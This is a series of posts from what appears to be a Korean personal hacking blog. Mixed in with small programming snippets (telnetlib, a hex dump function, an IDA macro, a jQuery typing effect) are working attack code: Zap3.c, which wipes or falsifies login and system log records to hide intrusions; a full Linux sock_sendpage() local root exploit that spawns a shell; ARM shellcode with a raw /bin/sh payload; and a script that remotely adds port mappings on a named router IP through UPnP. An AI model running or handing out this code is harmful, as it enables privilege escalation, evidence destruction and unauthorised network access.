2012. 12. 22. 00:59

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

2012. 12. 21. 20:22

[python 2.7] telnetlib를 이용한 telnet 접속하기
http://docs.python.org/2/library/telnetlib.html
#!/usr/bin/env python
import getpass
import sys
import telnetlib

HOST = "localhost"
user = raw_input("Enter your remote account: ")
password = getpass.getpass()

tn = telnetlib.Telnet(HOST)

tn.read_until("login: ")
tn.write(user + "\n")
if password:
    tn.read_until("Password: ")
    tn.write(password + "\n")

tn.write("ls\n")
tn.write("exit\n")

print tn.read_all()

Posted by k1rha
2012. 12. 20. 02:48



[C] 덤프 메모리를 가져오는  dumpcode.h

01.void printchar(unsigned char c)
02.{
03.if(isprint(c))
04.printf("%c",c);
05.else
06.printf(".");
07.}
08.void dumpcode(unsigned char *buff, int len)
09.{
10.int i;
11. 
12.for(i=0; i<len; i++)
13.{
14.if(i%16==0)
15.printf("0x%08x  ",&buff[i]);
16.printf("%02x ",buff[i]);
17.if(i%16-15==0)
18.{
19.int j;
20.printf("  ");
21.for(j=i-15;j<=i;j++)
22.printchar(buff[j]);
23.printf("\n");
24.}
25.}
26.if(i%16!=0)
27.{
28.int j;
29.int spaces=(len-i+16-i%16)*3+2;
30. 
31.for(j=0;j<spaces;j++)
32.printf(" ");
33.for(j=i-i%16;j<len;j++)
34.printchar(buff[j]);
35.}
36.printf("\n");
37.}


Posted by k1rha
2012. 12. 20. 00:02

Zap3.c 로그지우는 프로그램


/*########################################################################
*#### Zap3.c cleans WTMP, UTMP, lastlog, messages, secure, ##############
*#### xferlog, httpd.access_log, httpd.error_log. ##############
*#### Check your log file and edit the source accordingly. ##############
#### Tested in Mandrake 7.2 and 8.0 ##############
*#########################################################################
*#### This program is for educational purposes only ##############
*#### I'm not responsible any damages of this program ##############
*#### Use it with your own risk ##############
*#########################################################################
*#### I change the user based cleaning method ##############
*#### to host based method. Also zap2.c cleans ##############
*#### last entry of wtmp file,i change ##############
*#### this to clean all entries. ##############
*#########################################################################

Copyright (c) darkloop . All rights reserved.
This software is licensed pursuant to the GNU General Public License
version 2 or later versions [or GNU Lesser General Public License],
a copy of which may be viewed at www.gnu.org/copyleft/gpl.html.

*#########################################################################
*#### Please inform me about your comments. ##############
*#### I'm new to c programmin so feel free to flame :) ##############
*#### dark_loop@linuxmail.org ##############
*#### www.solitude2000.f2s.com ##############
*#### 15.10.2001 ##############
*#########################################################################





*/
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#include <string.h>
#define WTMP_NAME "/var/log/wtmp"
#define UTMP_NAME "/var/run/utmp"
#define LASTLOG_NAME "/var/log/lastlog"
#define MESSAGES "/var/log/messages"
#define SECURE "/var/log/secure"
#define SYSLOG "/var/log/syslog"
#define XFERLOG "/var/log/xferlog"
#define AUTH "/var/log/auth.log"
#define HTTPDA "/var/log/httpd/access_log"
#define HTTPDE "/var/log/httpd/error_log"
#define MAX 1024*5120
#define MIN 1024
void clean_logs(char *host,char *fake);
void clean_utmp(char *host,char *fake);
void clean_wtmp(char *host,char *fake);
void clean_lastlog(char *host,char *fake);
int pos(char *source,char *pattern);
void str_replace(char *source,char *pattern,char *replace);

main(int argc,char **argv)
{
time_t t1,t2;
if (argc<2) {
printf("missing argument\n");
printf("usage :./zap <ip>\n");
exit(1);
} else {
time(&t1);
clean_utmp(argv[1],argv[2]);
clean_wtmp(argv[1],argv[2]);
clean_lastlog(argv[1],argv[2]);
clean_logs(argv[1],argv[2]);
time(&t2);
printf("the process time is %d ms\n",t2-t1);
}
}

void clean_utmp(char *host,char *fake)
{
int f;
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))<0) {
perror("open");
close(f);
}
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_host,host,strlen(host))) {
if(fake) {
memcpy(utmp_ent.ut_host,fake,sizeof(utmp_ent.ut_host));
}else {
memset(&utmp_ent,0,sizeof( utmp_ent ));
}
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
printf("\tcleaning utmp file finished\n\t");

}

void clean_wtmp(char *host,char *fake)
{
struct utmp utmp_ent;
int f;
if ((f=open(WTMP_NAME,O_RDWR))<0) {
perror("open");
close(f);
}
while(read (f, &utmp_ent, sizeof (struct utmp))>0) {
if (!strncmp(utmp_ent.ut_host,host,strlen(host))) {
if(fake) {
memcpy(utmp_ent.ut_host,fake,sizeof(utmp_ent.ut_host));
}else {
memset(&utmp_ent,0,sizeof(struct utmp ));
}
lseek(f,-(sizeof(struct utmp)),SEEK_CUR);
write (f, &utmp_ent, sizeof( utmp_ent ));
}
}
close(f);
printf("cleaning wtmp finished\n\t");
}
void clean_lastlog(char *host,char *fake)
{
int f;
struct lastlog newll;
if ((f=open(LASTLOG_NAME, O_RDWR)) < 0) {
perror("open");
close(f);
} else {
while(read(f,&newll,sizeof(struct lastlog)) > 0 ) {
if(!strncmp(newll.ll_host,host,strlen(host))) {
if(fake) {
memcpy(newll.ll_host,fake,sizeof(newll.ll_host));
}else {
memset(&newll,0,sizeof( newll ));
}
lseek(f, -( sizeof (struct lastlog)),SEEK_CUR);
write(f,&newll, sizeof( newll ));
}
}
close(f);
}
printf("cleaning lastlog finished\n\t");
}
void clean_logs(char *host,char *fake)
{
int i;
char buffer[MIN],buff[MAX];
FILE *fin,*fout;
char *logs[] = {MESSAGES, SECURE,SYSLOG, XFERLOG, AUTH, HTTPDA, HTTPDE} ;
char *modlogs[] = {"modMESSAGES", "modSECURE","modSYSLOG", "modXFERLOG",
"modAUTH","modHTTPDA","modHTTPDE"} ;

i=0;
while(i<7) {
printf("cleaning %s\n\t",logs[i]);
strcpy(buff,"");
if((fin=fopen(logs[i],"r"))==NULL
|| (fout=fopen(modlogs[i],"w"))==NULL) {
perror("fopen");
fclose(fin);
i++;
}

while(fgets(buffer,MIN,fin) !=NULL) {
if(fake) {
if (strstr(buffer,host) ) {
str_replace(buffer,host,fake);
fputs(buffer,fout);
}else
fputs(buffer,fout);
}else {
if(!strstr(buffer,host))
fputs(buffer,fout);
}
}
fclose(fin);
fclose(fout);
if((fout=fopen(logs[i],"w"))==NULL
|| (fin=fopen(modlogs[i],"r"))==NULL) {
perror("fopen");
fclose(fout);
}
while((fgets(buffer,MAX,fin)) !=NULL) {
fputs(buffer,fout);
}
fclose(fin);
fclose(fout);
unlink(modlogs[i]);
i++;
}
printf("cleaning logs file finished\n\t");
}
void str_replace(char *source,char *pattern,char *replace)
{
char buffer[MIN];
char part[MIN];
int n;
while((n=pos(source,pattern))>=0) {
strcpy(buffer,&source[n+strlen(pattern)]);
strcpy(&source[n],replace);
strncpy(part,source,n+strlen(replace));
part[n+strlen(replace)]='\0';
strcat(part,buffer);
strcpy(source,part);
n=pos(source,pattern);
}
}
int pos(char *source,char *pattern)
{
char substring[MIN];
int i=0,found=0,position;
int pattern_len=strlen(pattern);
while(!found && i<= strlen(source) - pattern_len) {
strncpy(substring,&source[i],pattern_len);
substring[pattern_len]='\0';
if(strcmp(substring,pattern)==0)
found=1;
else
++i;
}
if(found)
position=i;
else
position=-1;
return(position);
}

Posted by k1rha
2012. 12. 19. 23:31


Linux sock_sendpage() NULL Local Root Exploit

Kernel 2.6.x




/*

 *  Linux sock_sendpage() NULL pointer dereference
 *  Copyright 2009 Ramon de Carvalho Valle <ramon@risesecurity.org>
 *
 *  This program is free software; you can redistribute it and/or modify
 *  it under the terms of the GNU General Public License as published by
 *  the Free Software Foundation; either version 2 of the License, or
 *  (at your option) any later version.
 *
 *  This program is distributed in the hope that it will be useful,
 *  but WITHOUT ANY WARRANTY; without even the implied warranty of
 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 *  GNU General Public License for more details.
 *
 *  You should have received a copy of the GNU General Public License
 *  along with this program; if not, write to the Free Software
 *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
 *
 */
 
/*
 * This exploit was written to illustrate the exploitability of this
 * vulnerability[1], discovered by Tavis Ormandy and Julien Tinnes, on ppc
 * and ppc64.
 *
 * This exploit makes use of the SELinux and the mmap_min_addr problem to
 * exploit this vulnerability on Red Hat Enterprise Linux 5.3 and CentOS 5.3.
 * The problem, first noticed by Brad Spengler, was described by Red Hat in
 * Red Hat Knowledgebase article: Security-Enhanced Linux (SELinux) policy and
 * the mmap_min_addr protection[2].
 *
 * Support for i386 and x86_64 was added for completeness. For a more complete
 * implementation, refer to Brad Spengler's exploit[3], which also implements
 * the personality trick[4] published by Tavis Ormandy and Julien Tinnes.
 *
 * Linux kernel versions from 2.4.4 to 2.4.37.4, and from 2.6.0 to 2.6.30.4
 * are vulnerable.
 *
 * This exploit was tested on:
 *
 * CentOS 5.3 (2.6.18-128.7.1.el5) is not vulnerable
 * CentOS 5.3 (2.6.18-128.4.1.el5)
 * CentOS 5.3 (2.6.18-128.2.1.el5)
 * CentOS 5.3 (2.6.18-128.1.16.el5)
 * CentOS 5.3 (2.6.18-128.1.14.el5)
 * CentOS 5.3 (2.6.18-128.1.10.el5)
 * CentOS 5.3 (2.6.18-128.1.6.el5)
 * CentOS 5.3 (2.6.18-128.1.1.el5)
 * CentOS 5.3 (2.6.18-128.el5)
 * CentOS 4.8 (2.6.9-89.0.9.EL) is not vulnerable
 * CentOS 4.8 (2.6.9-89.0.7.EL)
 * CentOS 4.8 (2.6.9-89.0.3.EL)
 * CentOS 4.8 (2.6.9-89.EL)
 * Red Hat Enterprise Linux 5.3 (2.6.18-128.7.1.el5) is not vulnerable
 * Red Hat Enterprise Linux 5.3 (2.6.18-128.4.1.el5)
 * Red Hat Enterprise Linux 5.3 (2.6.18-128.2.1.el5)
 * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.16.el5)
 * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.14.el5)
 * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.10.el5)
 * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.6.el5)
 * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.1.el5)
 * Red Hat Enterprise Linux 5.3 (2.6.18-128.el5)
 * Red Hat Enterprise Linux 4.8 (2.6.9-89.0.9.EL) is not vulnerable
 * Red Hat Enterprise Linux 4.8 (2.6.9-89.0.7.EL)
 * Red Hat Enterprise Linux 4.8 (2.6.9-89.0.3.EL)
 * Red Hat Enterprise Linux 4.8 (2.6.9-89.EL)
 * SUSE Linux Enterprise Server 11 (2.6.27.19-5)
 * SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.21)
 * Ubuntu 8.10 (2.6.27-14) is not vulnerable
 * Ubuntu 8.10 (2.6.27-11)
 * Ubuntu 8.10 (2.6.27-9)
 * Ubuntu 8.10 (2.6.27-7)
 *
 * For i386 and ppc, compile with the following command:
 * gcc -Wall -o linux-sendpage linux-sendpage.c
 *
 * And for x86_64 and ppc64:
 * gcc -Wall -m64 -o linux-sendpage linux-sendpage.c
 *
 * [1] http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html
 * [2] http://kbase.redhat.com/faq/docs/DOC-18042
 * [3] http://www.grsecurity.net/~spender/wunderbar_emporium2.tgz
 * [4] http://blog.cr0.org/2009/06/bypassing-linux-null-pointer.html
 */
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/sendfile.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
 
#if !defined(__always_inline)
#define __always_inline inline __attribute__((always_inline))
#endif
 
#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
static __always_inline unsigned long
current_stack_pointer(void)
{
    unsigned long sp;
 
    asm volatile ("movq %%rsp,%0; " "=r" (sp));
 
    return sp;
}
 
#else
static __always_inline unsigned long
current_stack_pointer(void)
{
    unsigned long sp;
 
    asm volatile ("movl %%esp,%0" "=r" (sp));
 
    return sp;
}
 
#endif
 
#elif defined(__powerpc__) || defined(__powerpc64__)
static __always_inline unsigned long
current_stack_pointer(void)
{
    unsigned long sp;
 
    asm volatile ("mr %0,%%r1; " "=r" (sp));
 
    return sp;
}
 
#endif
 
#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
static __always_inline unsigned long
current_task_struct(void)
{
    unsigned long task_struct;
 
    asm volatile ("movq %%gs:(0),%0; " "=r" (task_struct));
 
    return task_struct;
}
 
#else
#define TASK_RUNNING 0
 
static __always_inline unsigned long
current_task_struct(void)
{
    unsigned long task_struct, thread_info;
 
    thread_info = current_stack_pointer() & ~(4096 - 1);
 
    if (*(unsigned long *)thread_info >= 0xc0000000) {
        task_struct = *(unsigned long *)thread_info;
 
        /*
         * The TASK_RUNNING is the only possible state for a process executing
         * in user-space.
         */
        if (*(unsigned long *)task_struct == TASK_RUNNING)
            return task_struct;
    }
 
    /*
     * Prior to the 2.6 kernel series, the task_struct was stored at the end
     * of the kernel stack.
     */
    task_struct = current_stack_pointer() & ~(8192 - 1);
 
    if (*(unsigned long *)task_struct == TASK_RUNNING)
        return task_struct;
 
    thread_info = task_struct;
 
    task_struct = *(unsigned long *)thread_info;
 
    if (*(unsigned long *)task_struct == TASK_RUNNING)
        return task_struct;
 
    return -1;
}
 
#endif
 
#elif defined(__powerpc__) || defined(__powerpc64__)
#define TASK_RUNNING 0
 
static __always_inline unsigned long
current_task_struct(void)
{
    unsigned long task_struct, thread_info;
 
#if defined(__LP64__)
    task_struct = current_stack_pointer() & ~(16384 - 1);
 
#else
    task_struct = current_stack_pointer() & ~(8192 - 1);
 
#endif
 
    if (*(unsigned long *)task_struct == TASK_RUNNING)
        return task_struct;
 
    thread_info = task_struct;
 
    task_struct = *(unsigned long *)thread_info;
 
    if (*(unsigned long *)task_struct == TASK_RUNNING)
        return task_struct;
 
    return -1;
}
 
#endif
 
#if defined(__i386__) || defined(__x86_64__)
static unsigned long uid, gid;
 
static int
change_cred(void)
{
    unsigned int *task_struct;
 
    task_struct = (unsigned int *)current_task_struct();
 
    while (task_struct) {
        if (task_struct[0] == uid && task_struct[1] == uid &&
                task_struct[2] == uid && task_struct[3] == uid &&
                task_struct[4] == gid && task_struct[5] == gid &&
                task_struct[6] == gid && task_struct[7] == gid) {
            task_struct[0] = task_struct[1] =
            task_struct[2] = task_struct[3] =
            task_struct[4] = task_struct[5] =
            task_struct[6] = task_struct[7] = 0;
            break;
        }
 
        task_struct++;
    }
 
    return -1;
}
 
#elif defined(__powerpc__) || defined(__powerpc64__)
static int
change_cred(void)
{
    unsigned int *task_struct;
 
    task_struct = (unsigned int *)current_task_struct();
 
    while (task_struct) {
        if (!task_struct[0]) {
            task_struct++;
            continue;
        }
 
        if (task_struct[0] == task_struct[1] &&
                task_struct[0] == task_struct[2] &&
                task_struct[0] == task_struct[3] &&
                task_struct[4] == task_struct[5] &&
                task_struct[4] == task_struct[6] &&
                task_struct[4] == task_struct[7]) {
            task_struct[0] = task_struct[1] =
            task_struct[2] = task_struct[3] =
            task_struct[4] = task_struct[5] =
            task_struct[6] = task_struct[7] = 0;
            break;
        }
 
        task_struct++;
    }
 
    return -1;
}
 
#endif
 
#define PAGE_SIZE getpagesize()
 
int
main(void)
{
    char *addr;
    int out_fd, in_fd;
    char template[] = "/tmp/tmp.XXXXXX";
 
#if defined(__i386__) || defined(__x86_64__)
    uid = getuid(), gid = getgid();
 
#endif
 
    if ((addr = mmap(NULL, 0x1000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED|
            MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
        perror("mmap");
        exit(EXIT_FAILURE);
    }
 
#if defined(__i386__) || defined(__x86_64__)
#if defined(__LP64__)
    addr[0] = '\xff';
    addr[1] = '\x24';
    addr[2] = '\x25';
    *(unsigned long *)&addr[3] = 8;
    *(unsigned long *)&addr[8] = (unsigned long)change_cred;
 
#else
    addr[0] = '\xff';
    addr[1] = '\x25';
    *(unsigned long *)&addr[2] = 8;
    *(unsigned long *)&addr[8] = (unsigned long)change_cred;
 
#endif
 
#elif defined(__powerpc__) || defined(__powerpc64__)
#if defined(__LP64__)
    /*
     * The use of function descriptors by the Power 64-bit ELF ABI requires
     * the use of a fake function descriptor.
     */
    *(unsigned long *)&addr[0] = *(unsigned long *)change_cred;
 
#else
    addr[0] = '\x3f';
    addr[1] = '\xe0';
    *(unsigned short *)&addr[2] = (unsigned short)change_cred>>16;
    addr[4] = '\x63';
    addr[5] = '\xff';
    *(unsigned short *)&addr[6] = (unsigned short)change_cred;
    addr[8] = '\x7f';
    addr[9] = '\xe9';
    addr[10] = '\x03';
    addr[11] = '\xa6';
    addr[12] = '\x4e';
    addr[13] = '\x80';
    addr[14] = '\x04';
    addr[15] = '\x20';
 
#endif
 
#endif
 
    if ((out_fd = socket(PF_BLUETOOTH, SOCK_DGRAM, 0)) == -1) {
        perror("socket");
        exit(EXIT_FAILURE);
    }
 
    if ((in_fd = mkstemp(template)) == -1) {
        perror("mkstemp");
        exit(EXIT_FAILURE);
    }
 
    if(unlink(template) == -1) {
        perror("unlink");
        exit(EXIT_FAILURE);
    }
 
    if (ftruncate(in_fd, PAGE_SIZE) == -1) {
        perror("ftruncate");
        exit(EXIT_FAILURE);
    }
 
    sendfile(out_fd, in_fd, NULL, PAGE_SIZE);
 
    execl("/bin/sh""sh""-i", NULL);
 
    exit(EXIT_SUCCESS);
}

Posted by k1rha
2012. 12. 18. 23:32

ARM 쉘코드 만들기(To make shellcode in ARM architecture)



ARM 프로세서는 일반적인 32비트 인스트럭션 셋을 제공하는 ARM 모드와, 16비트 인스트럭션 셋을 제공하는 Thumb 모드가 있다모든ARM 프로세서가 Thumb 모드를 지원하진 않고 ARM7 TDMI처럼 프로세서 이름에 T가 들어있는 제품군이 Thumb 모드를 지원하게 된다.

(Ex. ARM8 ARM7T ARM9T StringARM...)


ARM 프로세서는 총 16개의 레지스터가 존재한다 (R0~ R15 +PC)


R13 이 바로 스택포인터(Stack Pointer)로 사용되어 지진다.


R14 가 링크레지스터(LR) 가 된다. 이 R14는 링크레지스터(LR)로 사용된다. 이 R14가 실제로 함수가 호출될 시 리턴 어드레스를 담고 있다. 


R15(Program Counter)는 다른 PCU에서 PC 와 같은 역할을 한다. 





ARM 중요 명령어 


BEQ 나 MOV종류의 명령어들은 모두 조건을 걸 수 있따.


SWI : Software Interrupt 의 약어로 X86프로세서에서의 INT 명령어에 해당한다.



STMFD : sp!, {r4-r6,lr}; 스택에 r4-r6 와 lr 레지스터를 저장하고 sp를 그만큼 감소 시킨다.

LDMFD : sp!, {r4-r6,pc}; 스택에서 r4-r6와 pc를 복원하고 sp를 그만큼 증가 시킨다.




이렇게 두가지 모드를 제공하는 이유는 열약한 환경에서의 최적화를 하기 위함이다.


ARM 쉘코드를 만들때의 특성

1.범용레지스터 : r0-r7


2.push / pop 에 대한 것을 잘 사용하지 않음


3. 최대 가능수치 : 255


4.레지스터 변위에 대한 제한

{R13, R14, R15, R16} = {sp,lr,pc,cpsr}


5.ARM <---> Thumb

Thumb 모드의 T비트는 CPSR 에서 1만큼 떨어져 있다.


6.Branch Exchange (bx addr) 

분기점은 BX로 처리한다.


7.파라미터값들은 r0,r1,r2.. 같이 범용 레시즈터를 사용 한다.


 .global main

main:

.CODE 32

add r2,pc,#1

bx r2

.CODE 16

thumb:



헤더의 참조는 /usr/src/linux/arch/arm/include/arm/unistd.h 와 같음

(X86 코드와 똑같다)




R7 레지스터가 함수 호출번호를 담당한다.

svc 를 통해 커널을 직접 호출가능하다.

return 형은 함수호출 이후 r0 레지스터에 저장된다.



PUSH POP 을사용하지 말고 직접 쓰라는 것은 아래예시를 비교해 보면 알 수 있다.





위에서보기에 왼쪽은 같은 코드도 push pop 으로 파라미터값을 조절했고 오른쪽은 레지스터에 직접 담어 호출하도록 되어 있다.

오른쪽처럼 코딩하는것을 권장 한다. 




널값 제거하기


쉘코드를 공격코드로 사용하려면 NULL 을 회피하는 방법을 알아야한다.

R0를 사용하면 NULL이 포함되어 저장이 된다. 이를 피하기위해 Phrack 58호에서 소개된 방법들이다.




 Orignal

 Brand New

 e3a0041    mov   r0,    #65

 e0411001  sub r1,r1,r1

 e2812041   add r2, r1, #65

 e1a00112   mov  r0, r2, lsl r1(r0 = r2<<0)

 

 systemcall


e28f1004  add r1,pc,#4 <- get address of swi

e0422002 sub r2,r2,r2

e5c12001 strb r2, [r1,#1]

ef90ff0b  swi 0x90ff0b

   
   
   





Posted by k1rha
2012. 12. 6. 23:02

IDA 에서 __OFSUB__ 이란? (what is __OFSUB__ in IDA pro?)



__OFSUB__



v13 = __OFSUB__(oneWord_URL_ARGV,'=');


라는 구절을 발견  구글링 검색 결과 


No there isn't. To me this looks more like a define because of the __ before and after the name... 

 아니요 그렇치 않습니다. __ 뒤에 그리고 앞에 이름이 붙은것은 단순한 정의 이상으로 보입니다.


Anyways, it's not defined nor declared anywhere in the generated output.
어쨌거나  이것은 어디선가 정의되어 있지 않거나 일반적인 아웃풋이 없는 경우에 나타냅니다.


Thanks for trying to help though..

땡큐~ 

Posted by k1rha
2012. 12. 3. 12:18

function initialize(){

mytext=$("#"+i).html();

$("#typing").html("");

typeit();


}


function typeit(){


temp = mytext.charAt(it);   //여기서 몇번재 문자열을 문자열을 가져올지 정한다.

if(temp == "^")$("#typing").html($("#typing").html()+"<br>");  //특정 문자열이 나오면 개행


else typing.insertAdjacentText("beforeEnd",temp) ;   //타이핑되는 함수


if (it<mytext.length){

it++ ;

setTimeout("typeit()",70);   //시간 주기 타이핑되는 시간주기

}

}


 
타이핑 효과 내는 자바스크립트 코드  (Javascript Code to typing effect)

한글짜식 타이핑 효과를 내주는 Jquery를 사용한 구문.. 

typing.insertAdjacentText  에 대한 어느 위치에 타이핑 되게 할지 결정

▶ beforeBegin : 택의 외부에서 택의 바로 앞

▶ afterBegin : 택의 내부에서 내용물의 시작

▶ beforeEnd : 택의 내부에서 내용물의 끝

▶ afterEnd : 택의 외부에서 택의 바로 뒤

Posted by k1rha
2012. 12. 2. 01:51

공유기 펌웨어의 upnp 라는것이 존재 하기에, 좀더 편리하게 홈 네트워크를 구축 할 수 있다.

대부분의 공유기는 이러한 편의를 제공하기 위해 UPNP를 default 설정을 ON 으로 해놓는다.

하지만 이러한 포트가 외부로 열려 있는 경우가 있다. 어떤 회사인지는 공개하지 않겠음) 



공유기에 있는 IP 로 (210.118.64.148) 스캐닝을 한 결과이다. 

[사내 아이피으로 절대 동일 스캔을 날리지 마세요 법적 제제를 하겠습니다.)

 이중에 관심깊게 볼 부분은(펌웨어 분석을통한 포트 2048) 이다.



OPTIONS * HTTP/1.1 을 이용하여 하여 UPnP/1.0  버젼이 있음을 알수 있다.

uPnP는 토론토등이 사용하고 있다고 알고 있어 처음에는 토렌토 패킷을 분석했으나, 잡패킷이 너무많아 아니다 싶었다.

바로 다른 uPnP 패킷을 잡을수 있는 프로그램을 구했는데, 내부망에서만 구현이 가능토록 설계된 프로그램이다. 

(스캔과정을 거쳐서 접속할 대상을 고르기 때문에..)


간단한 분석을 위하여 이전 글에 올린 PORTMapper 로 upnp 포워딩을 설정하는 장면이다.




위 그림은 포트매핑을 하는 그림이다. 이그림에서 RemoteHost 부분을 공백으로 할시에는 모든 패킷을 통과 시킨다. 

그리고 TCP 80번 (웹패킷) 만 포워딩을 시켜 간단하게 어떠한 구도로 가는지 봐보자 


이과정을 가질때 패킷을 wireshark 로 잡아보면 아래와 같다.



 3  hand shaking 이 있은 뒤에 PSH,ACK 를 통해 이렇게 POST 값으로 얼마만큼의 패킷이 갈지 결정된 뒤에, 아래와 같이 XML 형식으로 어떠한 설정을 할지 결정해 준다.




이 과정에서 얻은 패킷을 문자열로 바꿔 보면 아래와 같다. 



웹통신 규약에 맞추어 개행을 해주고 이를 소켓으로 쏴주면 아름답게 포워딩이 됨을 확인 할 수 있다.

이때 중요한 점은 HOST 부분에 LOCAL 아이피가 아닌 REMOTE환경에서의 아이피가 필요하다. 

import socket



IP = '210.118.64.148'

PORT = 2048



sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.connect((IP,PORT))

#sock.send("OPTIONS * HTTP/1.0\r\n\r\n")


sock.send("POST /etc/linuxigd/gateconnSCPD.ctl HTTP/1.1\r\nCONTENT-TYPE: text/xml; charset=\"utf-8\"\r\nSOAPACTION: \"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\"\r\nCache-Control: no-cache\r\nPragma: no-cache\r\nUser-Agent: Java/1.7.0_09\r\nHost: 210.118.64.148:2048\r\nAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2\r\nConnection: keep-alive\r\nContent-Length: 579\r\n\r\n<?xml version=\"1.0\"?>\r\n<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"><s:Body><u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\"><NewRemoteHost></NewRemoteHost><NewExternalPort>80</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>80</NewInternalPort><NewInternalClient>192.168.0.1</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>test</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>\r\n\r\n\r\n\r\n")


data = sock.recv(5024)

print data

sock.close()




Posted by k1rha
2012. 12. 1. 23:26

\x02\x20\x42\xe0\x1c\x30\x8f\xe2\x04\x30\x8d\xe5\x08\x20\x8d\xe5\x13\x02\xa0\xe1\x07\x20\xc3\xe5\x04\x30\x8f\xe2\x04\x10\x8d\xe2\x01\x20\xc3\xe5\x0b\x0b\x90\xef/bin/sh

'System_Hacking' 카테고리의 다른 글

PLT & GOT 심층 분석.  (0) 2013.04.05
구홍이 형이 쓰신 페도라 오버플로우 공략법 글  (0) 2013.03.05
ASLR 끄는법?!  (0) 2012.10.30
[코드 오딧팅] From 해킹캠프  (0) 2012.09.02
GDB 명령어 모음집  (0) 2012.08.26
Posted by k1rha